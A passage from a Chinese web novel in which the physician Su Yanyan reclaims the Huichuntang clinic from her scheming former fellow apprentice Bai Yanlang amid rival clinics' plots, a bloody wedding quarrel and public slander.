苏颜妍泼冷水:“想想你父皇要女婴入宫是干嘛的,当诱饵截杀入瓮换子的叛党!我进宫顶多也和袁姐姐一样,幸运点被换出宫全须全尾长大,倒霉点当场挂掉。”
“哼,咱们就不能青梅竹马两小无猜么?”萧景琮不满。
“一起长大,咱们名义上就成了姐弟啦,男朋友!就像你和你义兄一样,没有血缘的兄弟姐妹,也不会成为情人啊。”这颗木头脑袋,里面装的都是些什么乱七八糟的东西?
苏颜妍想了想,又道:“若是进宫的人是我,学会易容术的说不定也是我,那样也很酷欸。就是不知道我会不
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会在安南府遇到前去查案的你哥,然后像袁姐姐那样,对他一见钟情唔……”
萧景琮利落地伸出大手捂住她的嘴,板着脸郁卒地说:“你赢了,这个假设没有任何意义,真幸运当年进宫的人不是你。”
苏颜妍噗笑出声!连假设都要吃醋,真的好笑欸。
轻松愉快属于小情侣,马上就要婚嫁的白延琅和林玉珠之间,氛围就凝重多了。
白延琅担心苏南星联合苏东林搞出什么对他不利的事,一时有些心不在焉。林玉珠本就不再对他有任何期望,还是为他这样漫不经心的态度,气愤不已。
她原本选择白延琅,图的是他愚蠢好控制。没想到得到回春堂后,他不仅暴露出自己的自私冷漠,还有鼠目寸光和愚不可及。
他以为接手回春堂后就能一切顺利?苏颜妍那样有手段有本事,不是照样被同行逼迫地间接关门,无人问津!他白延琅能再度盘活这家医馆,借的是她林玉珠的身份,走的是她父亲林有仁的路子。可惜白延琅这个蠢货,到现在都没看清现实,自以为娶她是吃了大亏,对她颇有轻慢。
蠢就罢了,还坏,还自以为是。林玉珠一百万个看不上他。
但是现在主动权已经不在她的手上,她的父亲不许她现在放弃,只想让她像当年嫁给一个病秧子、吞并他家杏林馆一样,继续嫁给白延琅,利用婚姻捆绑利益,利用亲属合法接手回春堂。
她原本的目标,是守住自己家的济世堂啊!她是父亲的独女,为什么一定要嫁予外人,牺牲自己的婚姻,来谋取她得不到的利益呢?
白延琅他有什么啊,过河拆桥的小人,她早就想踹了他,暗室时差点成功,可惜功亏一篑,还是让他得了苏南星的空白手书。等白延琅找人伪造了苏南星的遗嘱,从京兆府处获得回春堂的管理权,她就再也没有后路能退。
看着四周一片红通通的喜庆摆设,林玉珠心中满是绝望。她到底有什么底气去嘲笑苏颜妍?苏颜妍的名声臭,是假的,是被人陷害的,是个人就能知道她的清白。而她呢?散播谣言踩苏颜妍一万脚,她还是逃不脱嫁给这个人渣败类的结局。
越想越绝望,看着面前心不在焉半分尊重都不给她的白延琅,林玉珠心一横,再也不想忍耐,随手捞起一支钗,金属尖利的一端闪烁着刺目的锐光。林玉珠挥钗给了白延琅一下子:“忘恩负义的东西,去死吧!”
血光飞溅,白延琅痛呼声冲破门槛,引来林家听见声音撞门进来查看的仆人:“林玉珠你疯了,居然想杀了我?!林家是打算不装了吗?想让我死然后接受我的医馆,我告诉你,你这是在做梦!”
他到底是个男子,力气比林玉珠要大得多,此刻一手紧紧攥着林玉珠的手,另一只手牢牢把着刺伤他的那根金钗。金钗尖锐的顶端争夺间从林玉珠脸上划过,锋利异常,留下一道翻皮带肉的血痕。
这次尖叫的人换成了林玉珠,她脸颊边暴染一道濡湿裂缝,伸手一摸,满是血红。她两眼一翻,晕死过去。
78. 众望所归
济世堂林家的小姐血溅喜堂,苏颜妍听到这消息,惊得张大了嘴,久久不能回神。
白延琅这么勇的啊?岐黄谷一次暴起伤人,能看出他情绪暴躁,这是成婚耶,婚前就动手,还见了血?
林有仁能生撕了他!
小桃心有余悸转述听到的消息:“幸好参加婚礼的大部分都是大夫,有特别擅长外科的,当场止住了血,不然林小姐恐怕要当场没命呢。想不到白延琅这样危险,幸好他没对师父你动手。”
苏颜妍暗暗叹息:其实动过了,差点被萧景琮反击打死。躲了数月,刚冒头就又出这一出,白延琅真是本性难移。
“林有仁是什么反应,这场婚事还进行下去吗?”
“林掌柜大怒,要扭送白延琅见官呢。不过白延琅说他是自卫,是林小姐先动的手,有人证。林掌柜按不死他,将他赶出济世堂,取消婚事了。”
“苏大夫带着苏东林去了回春堂,他们要白延琅交出医馆,不许他继续经营了呢。”小桃又说:“没有济世堂在后面支撑,白延琅根本没有可用的人手,他争不过苏东林的。师父,我们还要继续等待时机吗?我真担心这些人,把咱们规整的医馆弄得一团糟。”
苏颜妍说:“再等等。”白延琅此人心性又狠又蠢,济世堂现在抽走帮扶,苏南星又剥夺他的医馆管理权,以他的个性而言,搞不好要疯。何必冲到前面去和疯子PK,笑看狗咬狗不好么。
“唉,可怜京中的百姓们,一个个的,最近算是倒了大霉。”小桃叹气道。
“他们不是都选择去其他医馆了么?就算其他医馆诊费高些,总归一时半会也能治病,他们以前也这样,影响不大吧?”苏颜妍有预演过她离开回春堂后的事,真要是影响人命她是不会一下子放手的。
小桃说道:“总有一些耿直的人不肯说你的坏话呀,师父你不知道这会儿那些医馆做的多过分。他们散播一些你的谣言,不参与他们话题的,他们就挑刺问是不是这些人还念着你的好。复康堂最讨厌,直接就戏弄那些可怜人,不许他们进医馆看病。放话说,他们不是同情可怜师父吗,他们家就是不救这些人,让他们等死呢!非得逼得那些百姓又下跪又哀求,收了高额诊金,才给他们开了几幅药。就他们家那样的,怎么配叫一声大夫?”
苏颜妍拳头捏得咔咔响,她附和道:“是啊,这样的人,也配称得上一声大夫。”她还是把他们想的太好了,这群人的恶,罄竹难书。
回春堂,白延琅与苏东林对峙,尽显狼狈。
他近乎歇斯底里,冲着苏南星吼道:“这不公平!明明你已经把医馆交给我管理了,你怎么能再一次出尔反尔?!”
苏东林看着他疯魔的样子,失望道:“延琅,我还没有傻,还记得我被逆贼绑走时,你在密室里做的事。你手里那封所谓我本人遗嘱的信,是伪造的吧。回春堂建立的初衷,就是给更多的人解除灾病。你的心哪里装得下百姓,全然和林有仁一般,把医馆当成敛财谋利的工具。你这样,我永远也不会把医馆交给你管理。”
苏东林讶然道:“原来如此,怪不得三叔宁愿放下面子都要来找我,确实白兄已经失去一颗仁心,不能传承您的信念。可是,医馆现在依旧被各大医馆围剿封锁,又是拦截病人又是阻挠药材的,我们接手也未必能有白兄合适。”
苏东林竟是站在白延琅身边的。
苏南星没料到他这样说,不可置信道:“可…可是…济世堂统一的药价,太高了,普通百姓来诊治,拿不出这样多的银钱,东拼西凑的药钱,用光后他们怎么过日子。东林,如果为了赚钱,我不会去开医馆的,医者,行的是治病救人的道,只要能救命,其他的都不重要。”
白延琅哈哈大笑道:“师父,你这人还是这样天真!你以为自己当个圣人,别人就会念着你的好了吗?想想你失踪后回春堂的下场,你的医者同行只想要吞并你的医馆啊。要论无私,你比得上小师妹散财童子似的做法吗?你看看小师妹的下场,全京城哪家出面保过她?若不是我接手,回春堂早就没了!”
苏东林泼冷水:“白兄,你如今名声也坏了,为了医馆着想,最好你也别当掌柜了。我虽然不擅长医术,但管理一个医馆,还是有这能力的。不如日后,管理回春堂的事就交给我,你专心与三叔给人看诊就好。”
“少做梦了,你当自己是个什么好东西?”白延琅冷笑道:“瞒得了别人,你瞒不过我。京中那些针对苏师妹的流言蜚语,大半都出自你手。拼了命的往自己族妹身上泼脏水,你又有什么仁心善意。”
苏南星不可置信道:“东林,你真的这样做过?”
“师父,你尽可以去查,他娘和他妹子两人,说了多少苏师妹的坏话。造谣她与外男私相授受的就是她们。苏东林既然能自傲有掌管回春堂的本事,难道还关注不到自己的至亲做了什么说了什么?你若狡辩自己不知,就证明你连最基本的观察力都没有,有个屁的本事当掌柜。”白延琅半点不客气,尽是对苏东林的鄙视。
“你!”苏东林无从反驳,哑口无声。
“啪啪啪”的拍掌声响起,苏颜妍打开回春堂的客房门,手上拍个不停:“真是精彩,各位让我大开眼界。争执告一段落,让我来讲两句。”
白延琅、苏东林和苏南星错愕地看着她,三张不同长相的脸上浮出相似的疑惑。
“不必震惊,我认为,医馆还是由我来经营比较好。你们两个只专注钱权的人,就别来碰瓷我家的回春堂了,我父亲的意志,将由我来实现。”苏颜妍对苏南星点点头,脸上分毫不露异色:“父亲,您也暂时回苏家休息一段时间吧。医馆我已经上手过,日后会继续行慈善之举。保证景朝每一个前来看诊的病人,都有希望得到妥帖的照顾。仁和医,会是回春堂最响亮的招牌。”
苏南星再次为苏颜妍自信的发言感到惊喜。他有过卑劣的时候,也曾一念之差做过错事,可他的追求一直不曾改变过:他就是想要成为一位医术了得的医生,经营一家每个人都看得起病的医馆。
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如今有人站了出来,继承了他的目标,甚至比他做的更好。苏颜妍不是他的亲血,没关系,他原本想传的徒弟白延琅也没有血缘,他只认同频同理想的继承者。
没了苏南星这块招牌,苏东林连入局的对战牌都获取不了,再一次遗憾退场。白延琅几次挑衅苏颜妍,至今胜率是零蛋。他如今背后可没有可以乘凉的大树,要人手没人手,要财产没财产,他手中的信还被苏南星拆穿是假冒的。他能拿什么和苏颜妍争?
再动手?这里不是无人处,他不能完美躲过追捕,动手就是满盘皆输。他满心不甘,再次败走。
小桃最开心,重新回到回春堂,她想念这里每一张桌子每一张椅子。沉浸式检查阔别已久的医馆,她惊喜地发现,每一处她和苏颜妍一起改良过的地方都保留着,器具也没有缺少。
“医馆和我们离开时一样,全都是咱们研制的东西,都可以使用,没有损坏!”
那是,袁因和萧景琮的人手渗透到白延琅手下,这里看似归属白延琅管理,可他一个人,是能看得过来全部事吗?显然是不可能的。交付到手下,手下都是苏颜妍友方人员,敷衍应付一个两个的人,显然是大材小用。
苏颜妍点点头,她和小桃一同投入到规整医馆的每一处地方。要尽快恢复经营状态,她和小桃能等得,急着求医问药的病患可等不得了。
复康堂陈掌柜就因为给乡下人病患诊治时,拱火太过,惹了众怒,百姓们群情激奋,闹着要他公开道歉。陈掌柜哪里是能忍得住的挑刺,硬顶着摆出一副高傲样,放话道:“我还是那句话,姓苏的那丫头已经倒了,回春堂也要成为无主之物了,道歉?呵,这辈子我也不会去道歉,求神拜佛。”
他太嚣张,踩着众人的心事,在复康堂创下了不斐的名声。可笑的是,主打恢复健康的医馆,如今却肆意碾压病患。
前去求医问药的百姓,再也受不了陈掌柜阴阳怪气的讽刺与轻慢,结伴冲了复康堂。一地狼藉后,现场一个人影也没留下,只有那位带着满身脚印满头包的陈掌柜,喘着粗气躺倒在医馆地板上。
群情激奋的百姓们冲了复康堂,怀中燃起火辣辣的冲劲,冲着其他医馆而去。搞垄断是吧?不停地挑起针对苏颜妍的谣言,然后又一个劲的长诊金,搜刮病人手中的银钱是吧?做坏事是要有代价的!
他们不蒸馒头争口气,真就不去其他家医馆了!他们沉默前去回春堂,围了苏颜妍家的医馆。
不知是哪个先开的口,众人先是三三两两,后来汇成千百个同样的呼声:“苏神医!我们要苏神医!把回春堂还给苏神医!”
苏颜妍被这声骤然响起的呼声吓了一跳,直起身体竖着耳朵,仔细一听:……游行示威景朝版本吗?倘若现在呆在回春堂的是白延琅,外面这群赤诚的百姓,算是上了他的黑名单了。
小桃被外面的喊声感染,泪汪汪地跟着呼喊:“师父,原来有这么多支持你的人!太好了,我们以后都不要把回春堂让给别人了!”
79. 跳脚的当连根拔起
济世堂,林有仁房间里的茶壶茶杯报废率直线上升。这会儿,一阵噼里啪啦后,又一批瓷器成了碎渣。
“苏颜妍,这丫头怎么如此阴魂不散!每一次,济世堂要吞并回春堂的时候,她就跳出来当那颗绊脚石。看来玉珠之前对她的厌恶,是她应得的。白延琅实在没用,废物一个!”
额头顶着包、鼻青脸肿的陈掌柜门牙少了一颗说话都漏风:“林兄,不能再放任她继续接管医馆啊。她给咱们带来那么多的阻碍,好不容易赶她出局,现在她又来碍眼,怎么她就这么能闹腾,小小泥鳅想翻江不成。”
“是该想个一劳永逸的法子,把她合理合法的解决掉。”林有仁表态道:“就趁着之前她名声有污的风波,再找人去闹,务必不能让她再出头!”
“她现在重新抢走回春堂,白延琅肯定恨她恨到出血。左右不过是颗废棋,不如利用他一把。”陈掌柜狠辣地说:“名声有污,光传言可不够。索性做实她水性杨花的事,岂不更好。我就不相信,真顶着一个人尽可夫的名头,那黄毛丫头还能有脸出现在人前。”
林有仁眼中寒光一闪而过,他点点头,很快有人离开济世堂,去找到失意醉酒的白延琅,在他耳边低语一番。
白延琅听罢,一把扫落桌上的酒,酒盏碎成飞溅的裂片,噼里啪啦散的满地都是。他喘着粗气,脖子涨红,一双眼睛射出狠戾的光,咬牙切齿挤出一个人名:“林有仁!”
……
苏颜妍做好了重新接管医馆的准备,她这次已经不再有后顾之忧。苏父虽然已经和苏夫人分开,他这人二十年前确实做了不太好的决定,可是对苏颜妍来说,他始终是有一份恩情在的。
苏父的理念一直是医者仁心,苏颜妍同他一样,初心一直是希望天下牙疾的病患都能痊愈。这种悲悯之心是他们同样存在的。回春堂,是一个梦想接替的传递棒,由苏南星传给苏颜妍,日后也会有同样理念的人来接替。
苏颜妍重新成为回春堂当家的消息让京城中的百姓们欢呼雀跃,经历了四处求医的艰难,他们人生中遇到的最贴心的医馆就是回春堂,苏颜妍是他们公认的善心大夫。就算这次回春堂药物不全,他们自己去山里搜、去采集,也要牢牢抱住苏神医的大腿。
有人高兴就有人生气,白延琅是闹得最凶的一个。他带着一群青壮,煞气重重,围住了回春堂。
“苏颜妍,你为了得到医馆,真是不择手段!你到底对我未婚妻林玉珠说了什么,教唆她与我反目成仇。是不是你背地里说了关于我的闲话?我都已经拒绝你多次,不要缠着我,我不会喜欢你,也不会娶你的。”白延琅超大声地说着,恨不得让全京城的人都听到他的话。
“哈?”苏颜妍抠抠耳朵,看白痴一样看着他:“你又发的什么癔症,林玉珠和你怎么样,与我有半毛钱关系吗?零个人在意这件事,如果不是你自己跑过来说,我连关注的兴趣都没有。”
白延琅继续大声到恨不得所有人都听到的音量吼道:“我都知道你因为暗中心仪我,死皮赖脸去找玉珠说咱们俩有私情,惹得玉珠生气与我闹。你品行太差了,我白延琅是一万个看不上。是不是看见个男人你都想着凑上去,一点矜持与讲究都没有?”
小桃循着声跑出来,手里举着扫把就要拍到他身上:“混蛋,你满嘴喷粪!败坏我师父的名声是吧?我和你拼了!”她甩开膀子就要把白延琅当靶子打,如同一只被戳了痛脚的狼。
白延琅明显停顿一息,不由后退躲到带来的人身后,这才探出头继续散播闲话:“人以群分,她能收你这种悍妇当徒弟,自己又能好得到哪里去。总之我与你们势不两立,坏我姻缘,抢我事业,苏颜妍,你坏事做尽。就是不知道你天天与外男厮混,日后能不能让人家亲人接受。水性杨花,人尽可夫。”
苏颜妍伸出一根手指,指尖指向白延琅,肃容吩咐道:“打!”
萧景琮安排在她身边的明卫暗卫们,令行禁止,指哪打哪,苏颜妍示意他们揍白延琅,便有千万个拳头砸向他。
白延琅一刻钟不到,人就成了脸肿头肿的猪头样,他嗷嗷叫着,痛得哭爹喊娘:“好汉们饶命,我只是对自己家的师妹说两句话,她爱几个男子就不晓得什么叫做道德。她就是□□,你们就算打死我,她也是不堪之人!”
他嘴中嚷嚷着,挨打过程中不忘指挥带来的青年壮劳力,帮他抵抗苏颜妍手下人的攻击。
那群人不肯听他的命令与暗卫们单打独斗,只分散开,围成一圈,远远看着白延琅挨揍。
萧景琮骑着骏马嘚嘚靠近医馆,此刻正碰上被扫地出门的白延琅。
“好热闹,又是哪个胆大的敢跑到这里来撒泼?哦,是你。”萧景琮从骏马上潇洒跃下,连个眼角余光都不曾施舍给白延琅。
白延琅急喘几口气,挣扎着再次喊叫:“大家快来看一看呐,苏颜妍这个女人,大白天公然和外男勾勾搭搭,这样不守妇道的人,有什么脸面存在!师父,你老人家是屎糊住了眼,苏颜妍就不该进医馆,她的言行太过轻浮,出来是毁了你经营多年的灵魂啊!”
“白郎中,你还是收敛一下自己的嫉妒吧,咱们都听着呢,你口口声声说人家苏神医,可是一样证据都拿不出来。你就站在咱们老百姓的角度来分析,还不是咱们京中坐镇当家的势力大,都能逼迫不想成亲的人成亲,逼迫相爱的人爱不得。你现在晓得左右为难,日后便只有难。”
百姓们清醒的话让白延琅哑口无言,他自己本就不想着与苏颜妍争抢,他从她手中吃到的亏已经够多了。奈何这次林有仁派人安排胁迫他,他不得不跳出来与苏颜妍对峙。
他害怕死萧景琮了,这个男人有事是真上,真打真揍真抓人。
他躲在林有仁手下的身后,安全感起来后,给自己鼓了鼓劲,又开始嚷嚷:“真是没有天理啊,苏颜妍,你和你的奸夫居然跑到医馆里私会。师父真是老糊涂了,怎么能把医馆交给你啊!你满脑子是不是全部都是男人?你有了一个男人,还往外发展找什么
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,害的我现在与玉珠不能在一起!”
萧景琮俊美的脸上全是疑惑,他指指门外,问道:“他这是犯了癔症了?在外面胡说八道什么,要不要抓他走?”
苏颜妍冷哼道:“白延琅生性凉薄,林玉珠和他分手,这点小情感问题影响不了他。苏南星不支持他管回春堂,他与林玉珠闹过一场见血风波,济世堂他也去不了。想来私底下有人指使他来当个排头兵,当一颗问路的棋子,来试探咱们呢。”
他们说着话,白延琅在外面嚷的更过分,普通人听了都要皱眉头。萧景琮伸出手捂着苏颜妍的耳朵,不爽地询问:“就让他在外面骂?他已经没有价值了吧,我找人来抓走他,拷问一番,看看能不能找到蛛丝马迹。”
苏颜妍这次没有反对。
萧景琮出手,带多少人手都是白送。白延琅很快被捆成肉粽,重新住回暗卫营阴暗潮湿的地窖牢笼中。
他回过神来,哐哐砸着金属栅栏门,神情满是惊慌:“你们没有直接抓我的权利,你们到底知不知道我的身份?苏颜妍的奸夫,你动用私刑,我要告到御前,你们弄不死我就等着被我报复吧!我会日日夜夜监视苏颜妍,找到你们俩不遵循礼法的证据,让全天下的人都知道,你们就是奸夫□□。”
送他进牢房的暗卫是个乐子人,他忍了一路,把人送进去后乐呵呵地对白延琅说:“你翻来倒去地说这些,你到底知不知道你说的这个人是什么身份?你看看我的衣着,猜猜我是谁,反推一下,我的主子是谁。”
白延琅尖利声一下子停下。他迟疑地打量暗卫甲的打扮:黑衣紧身红披风,材料是锦……锦?这可是寸金寸锦,能用得上这样奢侈布匹的也不多。他不由屏息压下惊恐:“普天之下,莫非王土。你们家主子就算有钱,你这个小小的下属能沾上什么边。你们的主子再有权利,也不能就这样对我用私刑。我出去后一定会和京兆府府尹大人说说,你们是不是隐藏身份的叛党团伙!”
一向无往不利的栽赃话不起作用了,关押他的人只是咧着嘴笑:“反省吧,真当自己是万能的,能瞒过所有人么?你说你自己,谁指使你跳进修罗场,被捉了可不是你能承担的起。我倒是可以让你死个明白,告诉你我们家老大到底是哪个。”
白延琅瞪大了眼睛:“好,他到底是谁?”
暗卫笑嘻嘻地指了指头顶,地牢黝黑,光线黯淡,白延琅还是从那个熟悉的姿势解读出那位暗卫想要传递给他的信息:“天子!”
仿佛一块泥巴和水,再也没有□□的本事,烂成一团,糊在地上。
白延琅这一瞬间是失语的状态,他喃喃自语,唯唇抖动:“这不可能,这不可能……苏颜妍怎么可能会搭上当今……”
苏颜妍耳朵热热的,伸手捏了捏耳垂,指尖笔墨舒展,在备忘录册子上一笔一笔记下些注意事项。又解决了一个绊脚石,她撒开的网中,留下的越来越少了呢。下一个人会是谁呢,跳出来又要被捉住马脚了哦。
她拭目以待。